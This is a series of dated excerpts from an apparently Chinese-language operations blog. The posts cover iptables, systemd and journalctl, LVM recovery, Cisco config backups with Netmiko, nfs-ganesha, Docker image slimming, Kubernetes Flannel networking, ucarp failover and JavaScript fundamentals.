iptables -t nat -A POSTROUTING -s 10.11.0.0/16 -j SNAT --to 172.16.8.1

上面是做 openvpn 时常用的，一定记得不要乱用 MASQUERADE，而要指定特定网段（10.11.0.0/16）从特定IP（172.16.8.1）出去。

二、filter表

filter表是 iptables 缺省不带参数查看的表，用于过滤数据包，这是我们操作的最多的地方

iptables -I INPUT -s 185.207.178.236/32 -p tcp --dport 12530 -j ACCEPT
iptables -A INPUT -p tcp --dport 12530 -j DROP

上面就只开放了一个IP 185.207.178.236可以访问本机的12530端口，其余的统统封掉，这是最常用的脚本了。

OK，以上两点是最常用的。其余的端口转发之类的，最好中间用haproxy和nginx进行代理，否则查看 iptables 系统的架构就变得不清晰了。

下面贴上常用的参数：

-p tcp/udp/icmp/all	        匹配协议，all会匹配所有协议
-s addr[/mask]	            匹配源地址
-d addr[/mask]              匹配目标地址	
--sport	                    匹配源端口（可指定连续的端口）如--sport80
--dport	                    匹配目的端口（可指定连续的端口）如--dport80
-o interface	            匹配出口网卡，只适用于FORWARD、POSTROUTING、OUTPUT（例：iptables -A FORWARD -o eth0）
-i interface	            匹配入口网卡，只适用于PREROUTING、INPUT、FORWARD
--icmp-type	                匹配icmp类型（使用iptables -p icmp -h可查看可用的icmp类型）
--tcp-flags mask comp	    匹配TCP标记，mask表示检查范围，comp表示匹配mask中的哪些标记（例：iptables -A FORWARD -p tcp --tcp-flags ALL SYN,ACK -j ACCEPT 表示匹配SYN和ACK标记的数据包）
-j DROP/ACCEPT/REJECT/LOG	拒绝/允许/拒绝并发出消息/在/var/log/messages中登记分组匹配的记录
-m mac -mac	绑定MAC地址
-m limit -limit 1/s 1/m	    设置时间策略
-s 192.168.1.153或192.168.1.0/24	指定源地址或地址段
-d 192.168.1.153或192.168.1.0/24	指定目标地址或地址段
-s ! 192.168.1.0	指定源地址以外的

基本的2个用法足够满足日常运维的需要了。

systemd与journalctl的双剑合璧

Wed, 19 Oct 2022 09:30:11 +0800

时代已经进化到 systemd 的年代了，service 应该是彻底没有市场了

systemd 的好处是写程序的时候再也不用 fork 甩脱父进程了，日志直接输出终端即可

对 java 来说也是个好事，所有的日志比如WARN ERROR INFO都可以交给journal来管理，这样要查找日志也非常方便了。

举个例子，我们要把一个java启动的程序做成 systemd 的：

vim /etc/systemd/system/circle.service

[Unit]
After=network.target
Wants=network.target

[Service]
WorkingDirectory=/export/prod/server
Type=simple
ExecStart=/usr/bin/java -jar  -Dspring.config.location=application.properties -Dlog4j2.formatMsgNoLookups=true server.jar
Restart=on-failure
RestartSec=1s

[Install]
WantedBy=multi-user.target

然后就可以运行了：

systemctl daemon-reload
systemctl start circle

注意上面的WorkingDirectory，因为下面java启动指定 application.properties 配置文件的时候没有用绝对路径，那么这里就要指定当前工作目录了。

另外RestartSec=1s也改了，缺省是10ms，太快了

当然这只是第一步，日志是归journal管了，journal还是需要进一步配置的

首先必须要持久化存储到磁盘，否则只会在/run/log/journal内存中存放，重启就没了

#disk-usage查看的是: 内存+/var/log/journal的加起来的总和大小
journalctl --disk-usage

然后我们需要修改配置，让它持久化

vi /etc/systemd/journald.conf
Storage=persistent

修改重启

mkdir /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journal
systemctl restart systemd-journald

最后刷一下，把内存的文件刷到磁盘中

journalctl --flush

还可以设置保存天数：

journalctl --vacuum-time=31d

查看是从那一天开始保存的，进目录查看时间戳即可

cd /var/log/journal
ls -lha

最后就是一个秘籍了，如果把日志弄出来查看

journalctl -u circle --since "2022-10-19 14:30:00" --until "2022-10-19 15:00:00"

开发人员经常问我要日志，这样就特别方便快捷了，比从log4j的日志目录里拉方便的多。

awk的用法

Sun, 25 Sep 2022 09:30:11 +0800

awk 是比较强力的工具，跟cut和sed组合起来，会有意想不到的作用

举个简单例子，我们nginx的access.log如下：

110.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 10616 "http://my.jjwxc.net/"
220.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 20616 "http://my.jjwxc.net/"
330.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 30616 "http://my.jjwxc.net/"
410.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 10616 "http://my.jjwxc.net/"
530.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 10616 "http://my.jjwxc.net/"
650.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 50616 "http://my.jjwxc.net/"
760.244.232.88 - - [12/Apr/2022:16:50:06 +0800] help.jjwxc.net "GET /user/article/248 HTTP/1.1" 200 60616 "http://my.jjwxc.net/"

第一个字段是ip，然后倒数第3个是200，表示200 OK，后面的就是传输了多少数据两给客户端我们要统计一下流量大的前5名是谁。

Ansible之等待服务状态变成成功

Fri, 29 Jul 2022 09:30:11 +0800

ansible的脚本中我们可能会要启动某项服务并等待，直到服务启动起来，然后再进行下一步

这个非常重要，我们举例来实验一下：

- hosts: localhost
  vars:
    local__service: ssh
  tasks:
    - block:
      - name: "Stop {{ local__service }} service"
        systemd:
          service: "{{ local__service }}"
          state: stopped

      - name: "Populate ansible_facts.services variable"
        ansible.builtin.service_facts:

      - name: "{{ local__service }} state will be stopped as expected"
        assert:
          that:
            ansible_facts.services[local__service].state == 'stopped'

      - name: "Start {{ local__service }} service"
        systemd:
          service: "{{ local__service }}"
          state: started

      - name: "Registered {{ local__service }} state will still be stopped as it was not refreshed"
        assert:
          that:
            ansible_facts.services[local__service].state == 'stopped'

      - name: "Refresh ansible_facts.services variable"
        ansible.builtin.service_facts:

      - name: "{{ local__service }} state will be running as expected"
        assert:
          that:
            ansible_facts.services[local__service].state == 'running'

上面的 playbook 一共有7步：

LVM系统的Restore

Thu, 28 Jul 2022 09:30:11 +0800

在生产系统中使用LVM务必要注意lvm metadata的备份，曾经在京东的时候发生过虚机用了lvm的磁盘系统，然后虚机文件qcow2突然坏掉了，想尽了办法也无法恢复，这给我们拉响了警钟啊，使用lvm的时候务必要备份分区信息，否则坏的时候就欲哭无泪了。

缺省在 /etc/lvm/backup/ 目录下是最新的备份，同样历史版本都在 /etc/lvm/archive/ 目录下。

一、先备份

在开始恢复之前，一定先做个备份

cp -pr /etc/lvm /etc/lvm_bkp

然后去看看archive下的备份信息

ls -l /etc/lvm/archive/vg_storage_00*
-rw-------. 1 root root 13722 Oct 28 23:45 /etc/lvm/archive/vg_storage_00419-1760023262.vg
-rw-------. 1 root root 14571 Oct 28 23:52 /etc/lvm/archive/vg_storage_00420-94024216.vg
...
-rw-------. 1 root root 14749 Nov 23 15:11 /etc/lvm/archive/vg_storage_00676-394223172.vg
-rw-------. 1 root root 14733 Nov 23 15:29 /etc/lvm/archive/vg_storage_00677-187019982.vg
#

二、最坏的情形恢复pv

警告：这一步只能在VG无法正常运行的时候再运行！！！

先说最坏的情形，LVM的建立路径是 pv —> vg —> lv，假设连 pv（物理卷都没了）

我们选择最近的备份，/etc/lvm/archive/vg_storage_00677-187019982.vg

less /etc/lvm/archive/vg_storage_00677-187019982.vg
...
   physical_volumes {
      pv0 {
         id = "BgR0KJ-JClh-T2gS-k6yK-9RGn-B8Ls-LYPQP0"
...

从里面拿到 pv 的 id ，重建 pv

pvcreate --uuid "BgR0KJ-JClh-T2gS-k6yK-9RGn-B8Ls-LYPQP0" \
  --restorefile /etc/lvm/archive/vg_storage_00677-187019982.vg

三、恢复VG

如果 vg 是正常的，那么就不用做第二步了，直接从备份中恢复即可，先查看一下

dmesg -T 无时间戳的解决方法

Mon, 25 Jul 2022 09:30:11 +0800

现在版本的 dmesg -T 都是带时间戳的。

但是老的机器，很有可能是没有 -T 这个参数的，直接 dmesg 是这样的：

这个时间戳是天书啊，这还算好的，好歹有。还有更差的，连戳子都没有：

戳子都没有的，需要做以下步骤来加上，机器重启后必须再执行一遍：

echo 1 > /sys/module/printk/parameters/printk_time

同时写个脚本，/usr/local/bin/dmesgt.sh

#!/bin/bash
# Translate dmesg timestamps to human readable format

# desired date format
date_format="%a %b %d %T %Y"

# uptime in seconds
uptime=$(cut -d " " -f 1 /proc/uptime)

# run only if timestamps are enabled
if [ "Y" = "$(cat /sys/module/printk/parameters/time)" ]; then
  dmesg | sed "s/^\[[ ]*\?\([0-9.]*\)\] \(.*\)/\\1 \\2/" | while read timestamp message; do
    printf "[%s] %s\n" "$(date --date "now - $uptime seconds + $timestamp seconds" +"${date_format}")" "$message"
  done
else
  echo "Timestamps are disabled (/sys/module/printk/parameters/time)"
fi

这样就可以了，最后我们测试一下：

一次mongodb cpu很high的解决方法

Thu, 21 Jul 2022 09:30:11 +0800

接到同事的通知，说mongodb的cpu很高，下不去，看有什么办法。

看了一下图，cpu都99.4%了，确实很高：

登上机器，首先去看mongod的log，都试如下的查询，都很慢：

copy出一条来，备用

2022-07-17T21:30:42.556+0800 I COMMAND  [conn196670] command beyou.behaviorAnalysis command: find { find: "behaviorAnalysis", filter: { behavior: { $regex: ".*互动操作.*", $options: "i" }, log: { $regex: ".*\Q观看：《罗马的房子》,\E.*", $options: "i" }, userId: 7345, _class: { $in: [ "com.linkyee.api.domain.po.BehaviorAnalysis" ] } }, $db: "beyou" } planSummary: IXSCAN { _class: 1, behavior: 1, log: 1, userId: 1 } keysExamined:111564 docsExamined:2 cursorExhausted:1 numYields:890 nreturned:2 reslen:571 locks:{ Global: { acquireCount: { r: 891 } }, Database: { acquireCount: { r: 891 } }, Collection: { acquireCount: { r: 891 } } } storage:{} protocol:op_msg 2268ms

发现确实很慢啊，op_msg 居然要2268ms，但是mongodb的数据目录总共才6G多，不客观啊。

Infrastructure as Code中packer的使用

Sun, 17 Jul 2022 10:30:11 +0800

先普及一下概念，Infrastructure as Code，也就是从代码开始定义整个网络环境、虚机、各种资源等等。

简单说就是在云上用代码来管理一切，无论是vpc、subnetwork、lb、snat、sg、ec2……

非常符合我的胃口，因为就连架构图，都是用 graphviz 来画的。

那么 Infrastructure as Code （IAC）可以分为以下五个部分：

Ad hoc scripts
Configuration Management tools
Orchestration tools
Provisioning tools
Server Templating tools

一、Ad hoc scripts

就是用软件对目的主机进行 point to point 操作，用shell或者ansible都可以。推荐ansible。

在 infosys 面试被一个印度老外问到这问题，因为平时根本不用ansible 的 ad hoc 点对点模式，结果被当场问住。现在才知道这玩意是什么。当然，用 ansible 的话不建议用这个，因为 playbook 是可追溯的。

二、Configuration Management tools

配置管理，这里当然推荐 ansible，每一步的操作都可以有 inventory 和 playbook 可以追溯。

三、Orchestration tools

协同工具，k8s和kvm

四、Provisioning tools

生产工具，当然是terraform，另外，阿里云是支持plumi的，华为腾讯不支持。

五、Server Templating tools

模板工具，这里就是 Packer，其实我们公司现在的模板工具，是八戒从openstack学的，改动Cloud-init的东西。

Packer更标准一下，是进化版的东西，它既可以打kvm镜像，也可以打Docker镜像。

下面我们就看看怎么使用吧，这里先说kvm，因为kvm的比较难，docker的八戒现在还是用Dockerfile，有空了再研究packer：

安装就不多说了，就一个执行文件，下载下来就行，不用装。

Packer的核心是三个部分

builders
provisioners
post-processors

我们先建立一个空目录，名字随便，就叫 test-image

Cisco设备自动执行和备份的脚本

Sun, 17 Jul 2022 09:30:11 +0800

在日常工作中我们经常要对 Cisco 的网络设备的配置进行备份，或者和 suricata 联动的时候要执行操作。

方法其实很简单，调用 python 的相应模块即可。

准备工作如下：

首选需要在/export/servers/python363装好 python 3.6, pip install netmiko

其次，在路由器上可以配置en的密码

然后依次执行备份就可以了。

#!/export/servers/python363/bin/python3.6
from netmiko import Netmiko
import time
tw_bgp = {
        "device_type": "cisco_ios",
        "host": "tw-bgp",
        "ip": "192.168.1.10",
        "username": "noc",
        "use_keys": True,
        "secret" : "xxxxxxxx",
        "key_file": "/root/.ssh/id_jump_rsa_new",
}
tw_r1_e1 = {
        "device_type": "cisco_ios",
        "host": "tw-r1-e1",
        "ip": "192.168.1.11",
        "username": "noc",
        "use_keys": True,
        "key_file": "/root/.ssh/id_jump_rsa_new",
}
tw_r1_e2 = {
        "device_type": "cisco_ios",
        "host": "tw-r1-e2",
        "ip": "192.168.1.12",
        "username": "noc",
        "use_keys": True,
        "key_file": "/root/.ssh/id_jump_rsa_new",
}
tw_r2_e1 = {
        "device_type": "cisco_ios",
        "host": "tw-r2-e1",
        "ip": "192.168.1.13",
        "username": "noc",
        "use_keys": True,
        "key_file": "/root/.ssh/id_jump_rsa_new",
}
tw_r2_e2 = {
        "device_type": "cisco_ios",
        "host": "tw-r2-e2",
        "ip": "192.168.1.14",
        "username": "noc",
        "use_keys": True,
        "key_file": "/root/.ssh/id_jump_rsa_new",
}

devices=[tw_bgp, tw_r1_e1, tw_r1_e2, tw_r2_e1, tw_r2_e2]

for dev in devices:
    name = dev["ip"]
    connection = Netmiko(**dev)
    connection.enable()
    out = connection.send_command("show running-config")
    calender = time.strftime("%Y%m%d")
    file_name = '{}-{}.txt'.format(dev["host"],calender)
    file = open(file_name ,"w")
    file.write(out)
    file.close()
    connection.disconnect()
    print("BACKUP for %s done" %dev["host"])

用户态的NFS Server

Wed, 06 Jul 2022 09:30:11 +0800

NFS Server 很常用，但是坑也是巨大的。之前在京东运维 Hadoop 集群的时候碰到过脑裂，原因就是 NFS 引起的。

关键 NFS 是内核态的，一旦崩溃，那么客户端的所有命令，ls、df、du等等，统统无反应，结果是很悲剧的。

下面要推荐一下 nfs-ganesha ，它是用户态的nfs-server，支持v3和v4，而nfs缺省是内核态的v3。

强烈推荐大家用这个，而不是用内核态的，并且 nfs-ganesha 还是支持 glusterFS 的。

yum install -y centos-release-nfs-ganesha30.noarch
    
vi /etc/ganesha/ganesha.conf
%include /etc/ganesha/exports/gv0.conf
    
vi /etc/ganesha/exports/gv0.conf
EXPORT{
    Export_Id = 1 ;   # Export ID unique to each export
    Path = "/mnt/upload";
    Pseudo = /upload;
    FSAL {
        name = VFS;
    }
    Access_type = RW;    # Access permissions
    Squash = No_root_squash; # To enable/disable root squashing
    Disable_ACL = TRUE;  # To enable/disable ACL
    Protocols = "4" ;    # NFS protocols supported
    Transports = "UDP","TCP" ; # Transport protocols supported
    SecType = "sys";     # Security flavors supported
}

#启动
systemctl restart nfs-ganesha

#手动mount的方法
mount -t nfs -o soft,intr,rsize=8192,wsize=8192,timeo=900,proto=tcp,vers=4 192.168.31.2:/upload /mnt/nfs-upload
    
#自动mount的方法
cat /etc/fstab
192.168.31.2:/upload /mnt/nfs-upload nfs rw,vers=4,addr=192.168.31.2,clientaddr=192.168.31.8 0 0

注意id对齐问题可能要用到rpcidmapd

JavaScript 到底是如何执行的呢 -- JS的作原理

Tue, 21 Jun 2022 09:30:11 +0800

JavaScript 到底是如何工作的？

一、工作原理

JavaScript到底是：

同步还是异步？

单线程还是多线程？

JavaScript 中的一切都发生在

Execution Context （执行上下文）中
- 您可以假设这个执行上下文 是一个大盒子或一个容器，在其中执行整个 JavaScript 代码。
- 这个大盒子里有两个组件：
  - Memory（内存组件）：这是所有变量和函数存储为键值对的地方。这个**“内存组件”也称为变量环境**。因此，它是一种环境，其中所有这些变量和函数都存储为键值对。
  - Code（代码组件）：这是代码逐行执行的地方。这个“代码组件”也称为执行线程。所以，这个执行线程是一个单线程，整个代码一次只执行一行。
结论：JavaScript 是一种同步单线程语言。
- 单线程 意味着 JavaScript 一次只能执行一个命令。
- 同步单线程 意味着 JavaScript 一次只能以特定顺序每次执行一个命令。这意味着它只能在当前行完成执行后转到下一行。这就是同步单线程的意思。

很惊诧吧，实际 javascripts 有单线程 event loop 大循环来完成很多不可思议的事情。

二、实际工作过程分析

JavaScript 代码是如何执行的？

当你运行 JavaScript 代码时会发生什么？

会创建一个Execution Context（执行上下文）。

让我们使用实际的代码来举个例子：

var n = 2;
function square(num) {
  var ans = num * num;
  return ans;
}
var square2 = square(n);
var square4 = square(4);

执行上述代码时，会创建一个执行上下文

Javascripts中if的优化

Wed, 15 Jun 2022 09:30:11 +0800

Javascripts 中的 if … else 用起来倒是很方便，但是看起来就不舒服了

if (true) {
}

if (true) {
}

if (true) {
  if (true) {
    if (true) {
    }
  } else {
  }
} else {
}

上面看起来很闹心吧，下面讲讲优化：

一、三元优化

if (ture) else可以用三元操作符来优化它：

// Bad 😥
if (true) {
  console.log("Congratutions!")
} else {
  console.warn("Oops, something went wrong!")
}

// Great 🥰
true 
  ? console.log("Congratutions")
  : console.warn("Oops, something went wrong!")

二、与优化

true的情况下才执行可以用与来进行优化：

if (true) {
  alert(1)
}

// is equals to:

true && alert(1)

三、提前返回

如果有多个判断，按照复杂程度，从上到下，提前返回。

Shell进阶技巧

Thu, 09 Jun 2022 09:30:11 +0800

Shell脚本的进阶技巧：

一、String 类的技巧

String类当作数组来使用，注意范围的下标，0:4，4最后要被踢掉，实际是0-3，共4个字符：

string="Bash is great!"

echo ${string:8} # great!
echo ${string:0:4} # Bash
echo ${string:8:-1} # great (-1: upto 1st element from right)

数组的长度：

string="Bash is great!";
len=${#string}
echo "len = $len"

字符串的替换：

string="Bash is great!!"
echo ${string/Bash/GNU Bash} # GNU Bash is great!!
echo ${string//!/.} # Bash is great..

大小写替换:

string="Bash"
echo ${string^^} # BASH
echo ${string,,} # bash

按index存取数组中字符在shell中不可用，但是可以用function变相实现：

function charAt() {
    string=$1
    i=$2
    echo ${string:i:1}
}
echo $(charAt "Hello" 2) # l
echo $(charAt "Hello" 1) # e

二、数组和字典

定义一个数组并且遍历它：

javascripts中的promise

Tue, 24 May 2022 09:30:11 +0800

一、基本概念

1. 异步

所谓 " 异步 “，简单说就是一个任务分成两段，先执行第一段，然后转而执行其他任务去，等做好了准备，再回过头执行第二段。

比如，有一个任务是读取文件进行处理，任务的第一段是向操作系统发出请求，要求读取文件。然后，程序执行其他任务，等到操作系统返回文件，再接着执行任务的第二段（处理文件）。这种不连续的执行，就叫做异步。

相应地，连续的执行就叫做同步。由于是连续执行，不能插入其他任务，所以操作系统从硬盘读取文件的这段时间，程序只能干等着什么也做不了。

2. 回调函数

javascript 语言对异步编程的实现，就是回调函数。所谓回调函数，就是把任务的第二段单独写在一个函数里面，等到准备好了，继续执行的时候，就直接调用这个函数。它的英语名字 callback，直译过来就是 " 回调 “。

读取文件进行处理，是这样的，readfile 是异步的，readfileSync 是同步的。

fs.readfile('/etc/passwd', function(err, data) {
  if(err) throw err;
  console.log(data);
});

上面代码中， readfile 函数的第二个参数，就是回调函数，也就是任务的第二段。等到操作系统返回了 / etc / passwd这个文件以后，回调函数才会执行。

==一个有趣的问题是，为什么 node.js 约定，回调函数的第一个参数，必须是错误对象 err（如果没有错误，该参数就是 null）？原因是执行分成两段，在这两段之间抛出的错误，程序无法捕捉，只能当作参数，传入第二段。==

javascripts中的map

Mon, 23 May 2022 09:30:11 +0800

Javascripts 中的 map

说到map，如果我们有循环的话，不停遍历，会把时间搞成 O(n)。如果有map，时间就变成了O(1)，所以还是相当有效率的。

map 是 ES2015 中新增加的，是一种新的 Object 类型，允许存放各种 key-value 对。

map 最大的特性是，key 可以是任何类型，包括 object 和 function；可以调用 size 得到 map 的大小；迭代的时候，是严格按照添加的顺序进行迭代的。

map 的方法如下： set, get, size, has, delete, clear:

let things = new Map();

const myFunc = () => '🍕';

things.set('🚗', 'Car');
things.set('🏠', 'House');
things.set('✈️', 'Airplane');
things.set(myFunc, '😄 Key is a function!');

things.size; // 4

things.has('🚗'); // true

things.has(myFunc) // true
things.has(() => '🍕'); // false, not the same reference
things.get(myFunc); // '😄 Key is a function!'

things.delete('✈️');
things.has('✈️'); // false

things.clear();
things.size; // 0

// setting key-value pairs is chainable
things.set('🔧', 'Wrench')
      .set('🎸', 'Guitar')
      .set('🕹', 'Joystick');

const myMap = new Map();

// Even another map can be a key
things.set(myMap, 'Oh gosh!');
things.size; // 4
things.get(myMap); // 'Oh gosh!'

迭代它的方法，可以用 for … of，顺序是严格按照你插入的顺序来的：

javascript的实际应用-fs模块

Sun, 22 May 2022 09:30:11 +0800

千里之行始于足下，javascript 模块漫天飞，能做的事也是五花八门。我们来实践一下

假设我们有一个文本文件，内容如下：

里面是一行行数据，我们要做的就是把所有值取整求和，文件中有某些空行

很简单，程序如下：

var fs = require('fs');

calculate = () => {
    fs.readFile('data.txt', 'utf8', (err, data) => {
        if (err) {
            throw new Error(err)
        }

        const arr = data.split('\r\n');
        const result = arr
            .filter(e => e)
            .map(parseFloat)
            .reduce((curr, next) => curr + next);
        console.log('RESULT: ', result);
    });
}

超级简单吧

关键就是上面的链式调用

split 用来分割每一行
filter 用来去掉空行
map 用来把每一行都转化成整数
reduce 用来求和

javascripts中的module

Sat, 21 May 2022 09:30:11 +0800

JavaScript Module 是什么

一个 JavaScript module 模块准确的说就是一个文件，它允许你把代码 export 导出来复用，这样别的 JavaScript 文件可以 import 这个文件把它作为库文件来使用了。

模块主要是用在工程文件中，用来把代码共享给其他文件用，javascipt 的模块可以说是满天飞。

这里呢讨论的是前端的部分，即是运行在浏览器中的 javascripts module 部分，而不是运行在后端的 Node.js 的部分，后端现在已经向前端靠拢了。

ES6标准发布后，module成为标准，标准使用是以export指令导出接口，以import引入模块，但是在我们一贯的node模块中，我们依然采用的是CommonJS规范，使用require引入模块，使用module.exports导出接口。这点也理解清楚。

我们从零来一步步开始吧

如何把一个 JavaScript 文件转换为 ES 的 module

1: 创建一个 project 目录

这个目录用来放 HTML 和 JavaScript 文件

2: 建立你的 code 代码文件

在 project 文件夹中建立2个文件:

index.html
index.js

3: 添加 JavaScript 文件的引用到 HTML 文件中

打开index.html 编辑它：

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ES Module - zhang ranrui</title>
  </head>
  <body>
    <h1>ES Module Tutorial</h1>

    <!-- Add the "index.js" JavaScript file to this HTML document -->
    <script type="module" src="index.js"></script>
  </body>
</html>

上面的代码中，我们引用了 index.js , 并定义它 type=“module”，这显式指明了 index.js 是一个 ES 的module。

Javascripts之数组的reduce

Fri, 20 May 2022 09:30:11 +0800

研究一下 javascripts 的 reduce ，reduce 是既能改变 array 的 size，又能改变数值的函数，filter 是只能改变size，不能改变数值；而 map 是不能改变 size，可以改变数值。很拗口吧，三个兄弟。

简单介绍一下 reduce。

假设我们有一个数组:

[1, 2, 3, 4]

我们要对整个数组求和.

reduce 实际是按照下列的算式来进行求和的:

((((1) + 2) + 3) + 4)

那实际 reduce 函数执行中，你可以按你需求来自定义你自己的 + 操作符。数组的值也可以是其他的任意东西。听起来有点意思吧？

1、 Reduce 是干嘛的

在一个函数式编程语言中，reduce 其实有很多别的名称，比如 fold（对折）, accumulate（累加器）, aggregate（聚合器）, compress（压缩） 甚至叫 inject（注入）。

2、 Reduce 的参数

常用用法如下：

let myArray      = [/* 首先定义一个数组 */];
let callbackfn   = /* 再定义一个函数 */ ;
let initialvalue = /* 任意一个初始化的值 */ ;

myArray.reduce(callbackfn)
myArray.reduce(callbackfn, initialValue)

reduce 的参数如下:

callbackfn: 必须是一个函数，会在整个数组中反复调用，reduce 调用 callbackfn 的时候有4个参数，我们定义它们是 previousValue, currentElement, index 和 array ，看起来像下面一样:

面试之Docker如何打出最小的镜像

Fri, 01 Apr 2022 10:30:11 +0800

面试的时候被问到：如何才能让 docker 打出的镜像包尽量小？

其实在生产已经尽量使用最小化的镜像包了，只是突然被问到还是有点懵圈；因为印象中自己基本是使用 alphine 做底包，Dockerfile 通常就是 copy 一个可执行的程序进去就完事了，如果不行，再开 shell 进去慢慢添加缺少的库文件。

这里就总结一下，两点：

一、使用尽量小的底包

以 alphine 为主，使用 alphine 底包的时候，需要注意以下：

1、替换 apk 的源

2、更新、更新证书

3、注意 Timezone 的设置

4、注意 glibc 库的兼容问题

二、使用分阶段build

通常类似c、go、rust之类的源代码，都需要经过编译，最后产生可执行文件，那么完整的编译环境其实对最后的镜像来说都是不需要的。

所以利用分阶段build，甩脱编译环境以及中间产物，就可以缩小最后 build 出镜像的大小，使用也很简单。

Dockerfile 文件内容如下：

FROM golang:alpine AS build-env
WORKDIR /app
ADD . /app
RUN cd /app && go build -o goapp


FROM alpine
RUN apk update && \
   apk add ca-certificates && \
   update-ca-certificates && \
   rm -rf /var/cache/apk/*
WORKDIR /app
COPY --from=build-env /app/goapp /app
EXPOSE 8080
ENTRYPOINT ./goapp

面试之Nginx的epoll的优势

Fri, 01 Apr 2022 09:30:11 +0800

面试时被问到：是否了解 Nginx，它使用的 epoll 模式和其他的相比有什么优势？

直接被问住，实际生产中配过不少的 Nginx，各种 rewrite、regex、正反向代理、php、fast-cgi、限流、证书、jwt、cors；epoll 只大概有印象是下面这行：

events {
    use epoll;
    worker_connections  1024;
}

实在是汗颜啊，所以得仔细研究一下这个 epoll。

首先扔概念

IO多路复用：

多路是指网络连接，复用指的是同一个线程。

IO多路复用是一种同步IO模型，实现一个线程可以监视多个文件描述符；

一旦某个描述符就绪（一般是读就绪或者写就绪），就能够通知应用程序进行相应的读写操作；

没有文件描述符就绪时会阻塞应用程序，交出cpu。

那么IO多路复用的实现方法有三种： select、poll、epoll

select、poll、epoll本质上都是同步I/O，用户进程（这里就是Nginx）负责读写（从内核空间拷贝到用户空间），读写过程中，用户进程是阻塞的。

select：

查询 fd_set 中，是否有就绪的 fd，可以设定一个超时时间，当有 fd (File descripter) 就绪或超时返回；
fd_set 是一个位集合，大小是在编译内核时的常量，默认大小为 1024
特点：
连接数限制，fd_set 可表示的 fd 数量太小了；
线性扫描：判断 fd 是否就绪，需要遍历一边 fd_set；
数据复制：从内核空间拷贝到用户空间，复制连接就绪状态信息

poll：

解决了连接数限制：
poll 中将 select 中的 fd_set 替换成了一个 pollfd 数组
解决 fd 数量过小的问题
数据复制：从内核空间拷贝到用户空间，复制连接就绪状态信息

epoll：event 事件驱动

事件机制：避免线性扫描
为每个 fd，注册一个监听事件
fd 变更为就绪时，将 fd 添加到就绪链表

Kubernetes下Flannel网络

Thu, 17 Mar 2022 09:30:11 +0800

现在各大公有云的 k8s 网络插件基本用的都是 vxlan，我们也需要对这个进行一下详细了解，以便用于公司的正式生产环境。

一、原理

首先，kubernetes的网络模型：

包含三要素：

所有的容器(container)之间能够在不使用 NAT 的情况下互相通讯
所有的节点(Node)能够在不使用 NAT 的情况下跟所有的容器(container)互相通讯（反之容器访问节点亦然）
容器(container)中的IP地址，在容器内和容器外面看起来是一样的

那来到 flannel，它是一种 Overlay network 覆盖网络，盖在原有的 Node 网络基础上：

上图要仔细分析， K8S 中存在三个+一个网络段：

node 网络段，上图是 172.20.32.0/19，这是基础网络段
pod 网络段，100.96.0.0/16，2¹⁶(65536)个IP，这是由 flannel 产生的 overlay network，所有的 pod 都站在一个大广场上，互相可见
svc 网络段，上图未提，我们需要知道，想要把 pod 的 ip 给固定下来，就得使用 svc 来分配固定的域名，这个是由 iptables 来维护的
In-Host docker network网络段，这是每个 Node 主机的单独网络段，flannel给每个 Node 主机划分了一个 100.96.x.0/24 段，然后在 etcd 内进行维护，来避免不同的 Node 主机分配IP冲突。

综述：flannel 为每个 Node 分配一个 subnet，容器(container)从此 subnet 中分配 IP，这些 IP 可以在 Node 间路由，容器间无需 NAT 和 port mapping 就可以跨主机通信。

ucarp的安装配置

Fri, 25 Feb 2022 09:30:11 +0800

有 V2EX 的坛友问到如何静态编译 keepalived 的问题，实际上 keepalived 确实配置比较麻烦。那还有一个简单易行的 ucarp，生产也可以用这个。

ucarp 跟 keepalived 一样，都是用于高可用的 IP 漂移

但是比 keepalived 配置简单，而且 opnsense 就是用的这个做的高可用，opnsense 是个非常可靠的防火墙软件。

首先有两台虚机，172.18.19.1和172.18.19.2，虚拟ip是172.18.19.3

先配置172.18.19.1

yum install epel-release
yum install psmisc
yum install ucarp

cat<< EOF >> /etc/systemd/system/ucarp.service
[Unit]
Description=UCARP virtual interface
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/ucarp.sh
RemainAfterExit=true
ExecStop=/usr/bin/killall -SIGTERM ucarp
ExecStop=/bin/sleep 10
TimeoutStopSec=30
StandardOutput=journal

[Install]
WantedBy=multi-user.target
EOF

注意，上面我们的systemd是直接调用了ucarp.sh来启动，这样更简单。
三个脚本，注意权限是755

cat<< EOF >> /usr/local/bin/ucarp.sh
#!/bin/bash'
/usr/sbin/ucarp -i eth0 -B -p nb1Dshiwode -v 001 -a 172.18.19.3 -s 172.18.19.1 --shutdown --preempt -u /usr/local/bin/vip-up.sh -d /usr/local/bin/vip-down.sh
EOF

cat<< EOF >> /usr/local/bin/vip-up.sh 
#!/bin/sh
/sbin/ip addr add ${2}/24 dev ${1}
/sbin/ip neigh flush dev ${1}
EOF

cat<< EOF >> /usr/local/bin/vip-down.sh
#!/bin/sh
/sbin/ip addr del ${2}/24 dev ${1}
/usr/sbin/arp -d ${2}
EOF

chmod 755 /usr/local/bin/ucarp.sh /usr/local/bin/vip-up.sh /usr/local/bin/vip-down.sh

ok，第一台机器就配置好了

gost tunnel的使用

Thu, 24 Feb 2022 09:30:11 +0800

用过了好几个 tunnel 工具软件，各有长处。

ghostunnel 是支持自定义 tls 证书加密的，这回用个更厉害的，支持各种代理链条的，gost

项目地址：https://github.com/ginuerzh/gost

里面的概念有点意思，其实就两条，-L 本地监听，-F 链条转发。

注意的就一点，-F 的时候实际是一个中转服务器。这个中转服务器要转发的规则需要在 -L 参数里指定。

那么举个具体的例子：

中转服务器开了一个明文端口 9999，这个端口跑的是 ghostunnel client，加密数据后传到另外一个ghostunnel server服务器，然后数据明文穿出，访问具体的目的网站的端口。

